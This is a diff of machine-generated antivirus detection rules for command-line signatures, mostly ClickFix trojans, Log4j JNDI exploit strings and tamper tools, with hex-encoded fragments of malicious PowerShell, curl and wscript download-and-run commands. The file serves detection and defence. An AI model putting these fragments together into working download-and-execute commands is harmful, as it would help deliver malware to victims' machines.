((#a_4c_0 & 1)*21539) >=20 } -rule _InfrastructureShared_26261{ +rule _InfrastructureShared_27762{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,78 00 78 00 03 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 47 4a 21 4d 54 42 00 64 00 30 00 3b 00 20 00 26 00 20 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 20 00 2d 00 63 00 } //21283 + $a_00_1 = {24 00 0a 00 12 00 3d 00 20 00 27 00 69 00 77 00 27 00 3b 00 20 00 24 00 0a 00 0e 00 3d 00 20 00 27 00 65 00 78 00 27 00 } //32 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*32) >=120 + +} +rule _InfrastructureShared_27763{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,67 00 67 00 05 00 21 " strings : $a_4c_0 = {48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 49 6d 70 61 63 6b 65 74 73 6d 62 65 78 65 63 2e 53 41 00 01 00 06 00 63 00 6d 00 64 00 01 00 08 00 20 00 2f 00 63 00 20 00 01 00 08 00 20 00 2f 00 51 00 20 00 64 } //21539 $a_01_1 = {63 3a 5c 77 69 6e 64 6f 77 73 5c 74 65 6d 70 5c 65 78 65 63 75 74 65 2e 62 61 74 64 00 12 80 01 25 74 65 6d 70 25 5c 65 78 65 63 75 74 65 2e 62 61 74 00 00 d7 8a 00 00 02 00 02 00 03 00 21 23 53 4c 46 3a 56 69 72 54 6f 6f 6c 3a 57 69 6e 33 32 2f 53 75 73 70 43 6d 64 45 78 65 63 2e 41 00 01 00 0a 80 01 63 6d 64 2e 65 78 65 20 2f 63 01 00 2e 02 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 } //6912 - $a_00_3 = {4d 00 50 00 5c 00 90 02 20 5c 00 90 02 60 2e 00 62 00 61 00 74 00 90 00 01 00 1b 02 5c 57 69 6e 64 6f 77 73 5c 54 45 4d 50 5c 90 02 20 5c 90 02 60 2e 62 61 74 90 00 00 00 d7 8b 00 00 01 00 01 00 06 00 21 23 } //84 - $a_3a_4 = {78 70 6c 6f 69 74 3a 4a 61 76 61 2f 43 61 70 66 65 74 6f 78 2e 42 00 01 00 0c 80 01 24 7b 6a 6e 64 69 3a 6c 64 61 70 3a 01 00 0b 80 01 24 7b 6a 6e 64 69 3a 72 6d 69 3a 01 00 0d 80 01 24 7b 6a 6e 64 69 3a 6c 64 61 70 73 3a 01 00 } //17748 + $a_00_3 = {4d 00 50 00 5c 00 90 02 20 5c 00 90 02 60 2e 00 62 00 61 00 74 00 90 00 01 00 1b 02 5c 57 69 6e 64 6f 77 73 5c 54 45 4d 50 5c 90 02 20 5c 90 02 60 2e 62 61 74 90 00 00 00 d7 8a 00 00 04 00 04 00 04 00 21 23 } //84 + $a_3a_4 = {72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 41 46 21 4d 54 42 00 01 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 01 00 14 00 2d 00 6a 00 6f 00 69 00 6e 00 20 00 27 00 } //19539 condition: - ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*6912+(#a_00_3 & 1)*84+(#a_3a_4 & 1)*17748) >=103 + ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*6912+(#a_00_3 & 1)*84+(#a_3a_4 & 1)*19539) >=103 } -rule _InfrastructureShared_26262{ +rule _InfrastructureShared_27764{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 03 00 21 " strings : $a_46_0 = {56 69 72 54 6f 6f 6c 3a 57 69 6e 33 32 2f 53 75 73 70 43 6d 64 45 78 65 63 2e 41 00 01 00 0a 80 01 63 6d 64 2e 65 78 65 20 2f 63 01 00 2e 02 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 54 00 45 00 4d 00 50 00 5c 00 90 } //21283 - $a_00_1 = {90 02 60 2e 00 62 00 61 00 74 00 90 00 01 00 1b 02 5c 57 69 6e 64 6f 77 73 5c 54 45 4d 50 5c 90 02 20 5c 90 02 60 2e 62 61 74 90 00 00 00 d7 8b 00 00 01 00 01 00 06 00 21 23 54 45 4c 3a 45 78 70 6c 6f 69 74 3a 4a 61 76 61 2f 43 61 70 66 65 74 6f 78 2e 42 00 01 00 0c 80 01 24 } //8194 - $a_64_2 = {3a 6c 64 61 70 3a 01 00 0b 80 01 24 7b 6a 6e 64 69 3a 72 6d 69 3a 01 00 0d 80 01 24 7b 6a 6e 64 69 3a 6c 64 61 70 73 3a 01 00 0b 80 01 24 7b 6a 6e 64 69 3a 64 6e 73 3a 01 00 0c 80 01 24 7b 6a 6e 64 69 3a 68 74 74 70 3a 01 00 0c 80 01 24 7b 6a 6e 64 69 3a 69 69 6f 70 3a 00 00 d7 8b 00 00 05 00 05 00 05 00 21 23 54 45 4c 3a 4d 70 } //27259 + $a_00_1 = {90 02 60 2e 00 62 00 61 00 74 00 90 00 01 00 1b 02 5c 57 69 6e 64 6f 77 73 5c 54 45 4d 50 5c 90 02 20 5c 90 02 60 2e 62 61 74 90 00 00 00 d7 8a 00 00 04 00 04 00 04 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 41 46 21 4d 54 42 00 01 } //8194 condition: - ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*8194+(#a_64_2 & 1)*27259) >=2 + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*8194) >=2 } -rule _InfrastructureShared_26263{ +rule _InfrastructureShared_27765{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 41 46 21 4d 54 42 00 01 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 01 00 14 00 2d 00 6a 00 6f 00 69 00 6e 00 20 00 27 00 27 00 29 00 3b } //21283 + $a_00_2 = {72 00 20 00 24 00 90 02 04 20 00 7c 00 20 00 69 00 65 00 78 00 90 00 01 00 0c 00 68 00 69 00 64 00 64 00 65 00 6e 00 00 00 d7 8a 00 00 04 00 04 00 04 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 46 46 5a 21 4d 54 42 00 01 00 12 00 2e 00 72 00 65 00 70 00 6c 00 61 00 63 00 65 00 28 00 01 00 1c 00 5b 00 73 00 54 00 } //105 + $a_00_3 = {6e 00 67 00 5d 00 5b 00 63 00 48 00 61 00 72 00 5d 00 01 00 1a 00 4e 00 65 00 74 00 2e 00 57 00 65 00 62 00 43 00 6c 00 69 00 65 00 6e 00 74 00 01 00 06 00 27 00 2b 00 27 00 00 00 d7 8a 00 00 05 00 05 00 02 00 21 23 53 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4e 65 63 6b 74 61 72 2e 42 21 64 68 61 } //114 + condition: + ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*105+(#a_00_3 & 1)*114) >=4 + +} +rule _InfrastructureShared_27766{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 46 46 5a 21 4d 54 42 00 01 00 12 00 2e 00 72 00 65 00 70 00 6c 00 61 00 63 00 65 00 28 00 01 00 1c 00 5b 00 73 00 54 00 72 00 69 00 6e 00 67 00 5d 00 5b 00 63 00 } //21283 + $a_00_1 = {72 00 5d 00 01 00 1a 00 4e 00 65 00 74 00 2e 00 57 00 65 00 62 00 43 00 6c 00 69 00 65 00 6e 00 74 00 01 00 06 00 27 00 2b 00 27 00 00 00 d7 8a 00 00 05 00 05 00 02 00 21 23 53 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4e 65 63 6b 74 61 72 2e 42 21 64 68 61 00 04 00 1c 00 70 } //72 + $a_00_3 = {73 00 68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 01 00 3a 00 2d 00 66 00 69 00 6c 00 65 00 20 00 43 00 3a 00 5c 00 55 00 73 00 65 00 72 00 73 00 5c 00 50 00 75 00 62 00 6c 00 69 00 63 00 5c 00 75 00 70 00 64 00 2e 00 70 00 73 00 31 00 00 00 d7 8a 00 00 0c 00 0c 00 03 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 } //101 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*72+(#a_00_3 & 1)*101) >=4 + +} +rule _InfrastructureShared_27767{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,05 00 05 00 02 00 21 " + + strings : + $a_46_0 = {45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4e 65 63 6b 74 61 72 2e 42 21 64 68 61 00 04 00 1c 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 01 00 3a 00 2d 00 66 00 69 00 6c 00 65 00 } //21283 + $a_00_1 = {3a 00 5c 00 55 00 73 00 65 00 72 00 73 00 5c 00 50 00 75 00 62 00 6c 00 69 00 63 00 5c 00 75 00 70 00 64 00 2e 00 70 00 73 00 31 00 00 00 d7 8a 00 00 0c 00 0c 00 03 00 21 23 53 4c 46 3a 54 72 6f 6a 61 } //32 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*32) >=5 + +} +rule _InfrastructureShared_27768{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0c 00 0c 00 03 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 41 4d 21 4d 54 42 00 0a 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 01 00 2e 00 53 00 79 00 73 00 74 00 65 00 6d 00 2e 00 53 00 74 00 } //21283 + $a_00_1 = {6e 00 67 00 5d 00 3a 00 3a 00 43 00 6f 00 6e 00 63 00 61 00 74 00 28 00 01 00 10 00 24 00 5f 00 20 00 2d 00 62 00 78 00 6f 00 72 00 00 00 d7 8a 00 00 6f 00 6f 00 04 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 45 46 21 4d 54 42 00 64 00 14 00 70 00 6f 00 77 00 65 00 72 } //114 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*114) >=12 + +} +rule _InfrastructureShared_27769{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,6f 00 6f 00 04 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 45 46 21 4d 54 42 00 64 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 24 00 2e 00 6a 00 70 00 67 00 27 00 20 00 7c 00 20 00 4f 00 } //21283 + $a_00_1 = {2d 00 53 00 74 00 72 00 69 00 6e 00 67 00 0a 00 0e 00 2e 00 6a 00 70 00 67 00 27 00 3b 00 24 00 01 00 08 00 68 00 74 00 74 00 70 00 00 00 d7 8a 00 00 a0 00 a0 00 03 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 41 56 21 4d 54 42 00 64 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //117 + $a_00_2 = {2d 00 55 00 73 00 65 00 42 00 61 00 73 00 69 00 63 00 50 00 61 00 72 00 73 00 69 00 6e 00 67 00 29 00 2e 00 43 00 6f 00 6e 00 74 00 65 00 6e 00 74 00 } //50 -UseBasicParsing).Content + $a_00_3 = {68 00 69 00 64 00 64 00 65 00 6e 00 } //10 hidden + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*117+(#a_00_2 & 1)*50+(#a_00_3 & 1)*10) >=111 + +} +rule _InfrastructureShared_27770{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,ffffffa0 00 ffffffa0 00 03 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 41 56 21 4d 54 42 00 64 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 32 00 32 00 2d 00 55 00 73 00 65 00 42 00 61 00 73 00 69 00 63 00 } //21283 + $a_00_1 = {72 00 73 00 69 00 6e 00 67 00 29 00 2e 00 43 00 6f 00 6e 00 74 00 65 00 6e 00 74 00 0a 00 0c 00 68 00 69 00 64 00 64 00 65 00 6e 00 00 00 d7 8b 00 00 01 00 01 00 06 00 21 23 54 45 4c 3a 45 78 70 6c 6f 69 74 3a 4a 61 76 61 2f 43 61 70 66 65 74 6f 78 2e 42 00 01 00 0c 80 01 24 7b 6a 6e 64 69 } //80 + $a_61_2 = {3a 01 00 0b 80 01 24 7b 6a 6e 64 69 3a 72 6d 69 3a 01 00 0d 80 01 24 7b 6a 6e 64 69 3a 6c 64 61 70 73 3a 01 00 0b 80 01 24 7b 6a 6e 64 69 3a 64 6e 73 3a 01 00 0c 80 01 24 7b 6a 6e 64 69 3a 68 74 74 70 3a 01 00 0c 80 01 24 7b 6a 6e 64 69 3a 69 69 6f 70 3a 00 00 d7 8b 00 00 05 00 05 00 05 00 21 23 54 } //27706 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*80+(#a_61_2 & 1)*27706) >=160 + +} +rule _InfrastructureShared_27771{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 06 00 21 " strings : $a_4c_0 = {45 78 70 6c 6f 69 74 3a 4a 61 76 61 2f 43 61 70 66 65 74 6f 78 2e 42 00 01 00 0c 80 01 24 7b 6a 6e 64 69 3a 6c 64 61 70 3a 01 00 0b 80 01 24 7b 6a 6e 64 69 3a 72 6d 69 3a 01 00 0d 80 01 24 7b 6a 6e 64 69 3a } //21539 $a_70_1 = {3a 01 00 0b 80 01 24 7b 6a 6e 64 69 3a 64 6e 73 3a 01 00 0c 80 01 24 7b 6a 6e 64 69 3a 68 74 74 70 3a 01 00 0c 80 01 24 7b 6a 6e 64 69 3a 69 69 6f 70 3a 00 00 d7 8b 00 00 05 00 05 00 05 00 21 23 54 45 4c 3a 4d 70 43 6d 64 52 75 6e 44 6f 77 6e 6c 6f 61 64 46 69 6c 65 2e 41 00 01 00 1a 00 4d } //25708 - $a_00_3 = {52 00 75 00 6e 00 2e 00 65 00 78 00 65 00 00 00 01 00 1a 00 44 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 46 00 69 00 6c 00 65 00 20 00 01 00 0a 00 2d 00 55 00 52 00 4c 00 20 00 01 00 0c 00 2d 00 70 00 61 00 74 00 68 00 20 00 01 00 08 00 68 00 74 00 74 00 70 00 00 00 d7 8d 00 00 01 00 01 00 02 00 } //109 - $a_45_4 = {3a 4d 70 54 61 6d 70 65 72 54 6f 2e 42 00 01 00 39 02 74 00 61 00 6b 00 65 00 6f 00 77 00 6e 00 2e 00 65 00 78 00 65 00 20 00 2f 00 46 00 20 00 90 02 ff 5c 00 4e 00 69 00 73 00 53 00 72 00 76 00 2e 00 65 00 78 00 65 00 90 00 01 00 31 02 74 00 61 00 6b } //8993 + $a_00_3 = {52 00 75 00 6e 00 2e 00 65 00 78 00 65 00 00 00 01 00 1a 00 44 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 46 00 69 00 6c 00 65 00 20 00 01 00 0a 00 2d 00 55 00 52 00 4c 00 20 00 01 00 0c 00 2d 00 70 00 61 00 74 00 68 00 20 00 01 00 08 00 68 00 74 00 74 00 70 00 00 00 d7 8c 00 00 03 00 03 00 03 00 } //109 + $a_4c_4 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 5a 5a 4f 21 4d 54 42 00 01 00 2a 00 53 00 74 00 61 00 72 00 74 00 2d 00 50 00 72 00 6f 00 63 00 65 00 73 00 73 00 20 00 77 00 73 00 63 00 72 00 69 00 70 00 74 00 01 00 1e 00 4a 00 } //8993 + $a_00_5 = {6e 00 2d 00 50 00 61 00 74 00 68 00 20 00 24 00 65 00 6e 00 76 00 3a 00 01 00 0c 00 68 00 69 00 64 00 64 00 65 00 6e 00 00 00 d7 8c 00 00 04 00 04 00 04 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 46 46 47 21 4d 54 42 00 01 00 1e 00 64 00 6f 00 20 00 63 00 75 00 72 00 6c } //111 condition: - ((#a_4c_0 & 1)*21539+(#a_70_1 & 1)*25708+(#a_00_3 & 1)*109+(#a_45_4 & 1)*8993) >=1 + ((#a_4c_0 & 1)*21539+(#a_70_1 & 1)*25708+(#a_00_3 & 1)*109+(#a_4c_4 & 1)*8993+(#a_00_5 & 1)*111) >=1 } -rule _InfrastructureShared_26264{ +rule _InfrastructureShared_27772{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,05 00 05 00 05 00 21 " strings : $a_4c_0 = {4d 70 43 6d 64 52 75 6e 44 6f 77 6e 6c 6f 61 64 46 69 6c 65 2e 41 00 01 00 1a 00 4d 00 70 00 43 00 6d 00 64 00 52 00 75 00 6e 00 2e 00 65 00 78 00 65 00 00 00 01 00 1a 00 44 00 6f 00 77 00 6e 00 6c 00 6f 00 } //21539 - $a_00_1 = {46 00 69 00 6c 00 65 00 20 00 01 00 0a 00 2d 00 55 00 52 00 4c 00 20 00 01 00 0c 00 2d 00 70 00 61 00 74 00 68 00 20 00 01 00 08 00 68 00 74 00 74 00 70 00 00 00 d7 8d 00 00 01 00 01 00 02 00 21 23 54 45 4c 3a 4d 70 54 61 6d 70 65 72 54 6f 2e 42 00 01 00 39 02 74 00 61 00 6b 00 65 00 6f 00 77 00 6e } //97 - $a_00_3 = {20 00 2f 00 46 00 20 00 90 02 ff 5c 00 4e 00 69 00 73 00 53 00 72 00 76 00 2e 00 65 00 78 00 65 00 90 00 01 00 31 02 74 00 61 00 6b 00 65 00 6f 00 77 00 6e 00 20 00 2f 00 46 00 20 00 90 02 ff 5c 00 4e 00 69 00 73 00 53 00 72 00 76 00 2e 00 65 00 78 00 65 00 90 00 00 00 d7 8d 00 00 02 00 02 00 02 00 21 } //120 - $a_4c_4 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 57 67 65 74 43 6f 6d 6d 61 6e 64 2e 41 00 01 00 34 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 53 00 79 00 73 00 74 00 65 00 6d 00 33 00 32 00 5c 00 63 00 } //21539 + $a_00_1 = {46 00 69 00 6c 00 65 00 20 00 01 00 0a 00 2d 00 55 00 52 00 4c 00 20 00 01 00 0c 00 2d 00 70 00 61 00 74 00 68 00 20 00 01 00 08 00 68 00 74 00 74 00 70 00 00 00 d7 8c 00 00 03 00 03 00 03 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 5a 5a 4f 21 4d 54 42 00 } //97 + $a_00_2 = {53 00 74 00 61 00 72 00 74 00 2d 00 50 00 72 00 6f 00 63 00 65 00 73 00 73 00 20 00 77 00 73 00 63 00 72 00 69 00 70 00 74 00 } //1 Start-Process wscript + $a_00_3 = {4a 00 6f 00 69 00 6e 00 2d 00 50 00 61 00 74 00 68 00 20 00 24 00 65 00 6e 00 76 00 3a 00 } //1 Join-Path $env: + $a_00_4 = {68 00 69 00 64 00 64 00 65 00 6e 00 } //1 hidden condition: - ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*97+(#a_00_3 & 1)*120+(#a_4c_4 & 1)*21539) >=5 + ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*97+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1) >=5 } -rule _InfrastructureShared_26265{ +rule _InfrastructureShared_27773{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 5a 5a 4f 21 4d 54 42 00 01 00 2a 00 53 00 74 00 61 00 72 00 74 00 2d 00 50 00 72 00 6f 00 63 00 65 00 73 00 73 00 20 00 77 00 73 00 63 00 72 00 69 00 70 00 74 00 } //21283 + $a_00_1 = {4a 00 6f 00 69 00 6e 00 2d 00 50 00 61 00 74 00 68 00 20 00 24 00 65 00 6e 00 76 00 3a 00 } //1 Join-Path $env: + $a_00_2 = {68 00 69 00 64 00 64 00 65 00 6e 00 } //1 hidden + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1) >=3 + +} +rule _InfrastructureShared_27774{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 46 46 47 21 4d 54 42 00 01 00 1e 00 64 00 6f 00 20 00 63 00 75 00 72 00 6c 00 20 00 2d 00 73 00 20 00 68 00 74 00 74 00 70 00 01 00 14 00 20 00 2f 00 63 00 20 00 } //21283 + $a_00_1 = {72 00 20 00 2f 00 66 00 01 00 0e 00 5e 00 7c 00 20 00 66 00 69 00 6e 00 64 00 01 00 10 00 74 00 65 00 6c 00 65 00 67 00 72 00 61 00 6d 00 00 00 d7 8c 00 00 05 00 05 00 02 00 21 23 53 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4e 65 63 6b 74 61 72 2e 44 21 64 68 61 00 04 00 12 00 5c 00 63 00 75 00 72 00 6c 00 2e 00 65 } //102 + $a_00_3 = {43 00 3a 00 5c 00 57 00 49 00 4e 00 44 00 4f 00 57 00 53 00 5c 00 53 00 79 00 73 00 74 00 65 00 6d 00 33 00 32 00 5c 00 44 00 65 00 76 00 69 00 63 00 65 00 73 00 46 00 6c 00 6f 00 77 00 2e 00 64 00 6c 00 6c 00 } //1 C:\WINDOWS\System32\DevicesFlow.dll + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*102+(#a_00_3 & 1)*1) >=4 + +} +rule _InfrastructureShared_27775{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,05 00 05 00 02 00 21 " + + strings : + $a_46_0 = {45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4e 65 63 6b 74 61 72 2e 44 21 64 68 61 00 04 00 12 00 5c 00 63 00 75 00 72 00 6c 00 2e 00 65 00 78 00 65 00 01 00 46 00 43 00 3a 00 5c 00 57 00 49 00 4e 00 44 00 4f 00 57 00 53 00 } //21283 + $a_00_1 = {79 00 73 00 74 00 65 00 6d 00 33 00 32 00 5c 00 44 00 65 00 76 00 69 00 63 00 65 00 73 00 46 00 6c 00 6f 00 77 00 2e 00 64 00 6c 00 6c 00 00 00 d7 8d 00 00 01 00 01 00 02 00 21 23 54 45 4c 3a 4d 70 54 61 6d 70 65 72 54 6f 2e 42 00 01 00 39 02 74 00 } //92 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*92) >=5 + +} +rule _InfrastructureShared_27776{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 02 00 21 " @@ -343634,18 +363237,74 @@ rule _InfrastructureShared_26265{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_26266{ +rule _InfrastructureShared_27777{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 02 00 21 " strings : $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 57 67 65 74 43 6f 6d 6d 61 6e 64 2e 41 00 01 00 34 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 53 00 79 00 73 00 74 00 65 00 6d 00 33 00 32 00 5c 00 63 00 } //21539 - $a_00_1 = {2e 00 65 00 78 00 65 00 00 00 01 00 28 00 2f 00 63 00 20 00 20 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 20 00 77 00 67 00 65 00 74 00 00 00 00 00 d7 8e 00 00 04 00 04 00 06 00 21 23 54 45 4c 50 45 52 3a 48 53 54 52 3a 57 69 6e 33 32 2f 50 72 69 66 6f 75 43 6d 64 6c 69 6e 65 2e } //109 + $a_00_1 = {2e 00 65 00 78 00 65 00 00 00 01 00 28 00 2f 00 63 00 20 00 20 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 20 00 77 00 67 00 65 00 74 00 00 00 00 00 d7 8d 00 00 02 00 02 00 04 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 46 46 4a 21 4d 54 } //109 condition: ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*109) >=2 } -rule _InfrastructureShared_26267{ +rule _InfrastructureShared_27778{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 04 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 46 46 4a 21 4d 54 42 00 01 00 1d 02 2d 00 76 00 65 00 72 00 62 00 20 00 72 00 75 00 6e 00 61 00 73 00 90 02 20 23 00 90 00 01 00 10 00 69 00 72 00 6d 00 20 00 68 } //21283 + $a_ff_2 = {00 6c 00 6f 00 63 00 61 00 6c 00 68 00 6f 00 73 00 74 00 9c ff 12 00 31 00 32 00 37 00 2e 00 30 00 2e 00 30 00 2e 00 31 00 00 00 d7 8d 00 00 04 00 04 00 04 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 41 47 21 4d 54 42 00 01 00 12 00 73 00 68 00 65 00 6c 00 6c 00 2e 00 52 00 75 00 6e 00 01 00 0c 00 63 00 6d 00 64 00 20 00 2f 00 63 00 01 00 1a 00 25 00 75 00 73 00 65 00 72 00 70 00 72 00 6f 00 66 00 69 00 6c 00 65 00 25 00 } //112 + $a_00_3 = {26 00 26 00 20 00 63 00 75 00 72 00 6c 00 20 00 2d 00 73 00 20 00 2d 00 6f 00 } //1 && curl -s -o + condition: + ((#a_46_0 & 1)*21283+(#a_ff_2 & 1)*112+(#a_00_3 & 1)*1) >=2 + +} +rule _InfrastructureShared_27779{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 41 47 21 4d 54 42 00 01 00 12 00 73 00 68 00 65 00 6c 00 6c 00 2e 00 52 00 75 00 6e 00 01 00 0c 00 63 00 6d 00 64 00 20 00 2f 00 63 00 01 00 1a 00 25 00 75 00 73 } //21283 + $a_00_2 = {6f 00 66 00 69 00 6c 00 65 00 25 00 01 00 1a 00 26 00 26 00 20 00 63 00 75 00 72 00 6c 00 20 00 2d 00 73 00 20 00 2d 00 6f 00 00 00 d7 8d 00 00 04 00 04 00 04 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 41 47 41 47 21 4d 54 42 00 01 00 0e 00 26 00 26 00 20 00 63 00 75 00 72 00 6c 00 01 00 28 00 2d } //112 + condition: + ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*112) >=4 + +} +rule _InfrastructureShared_27780{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 41 47 41 47 21 4d 54 42 00 01 00 0e 00 26 00 26 00 20 00 63 00 75 00 72 00 6c 00 01 00 28 00 2d 00 2d 00 70 00 72 00 6f 00 74 00 6f 00 2d 00 64 00 65 00 66 00 61 } //21283 + $a_00_2 = {68 00 74 00 74 00 50 00 01 00 0c 00 26 00 26 00 20 00 66 00 74 00 70 00 01 00 0e 00 2e 00 70 00 } //116 + $a_00_3 = {20 00 26 00 26 00 00 00 d7 8d 00 00 1e 00 1e 00 03 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 50 53 68 65 6c 6c 44 6c 72 2e 53 41 41 00 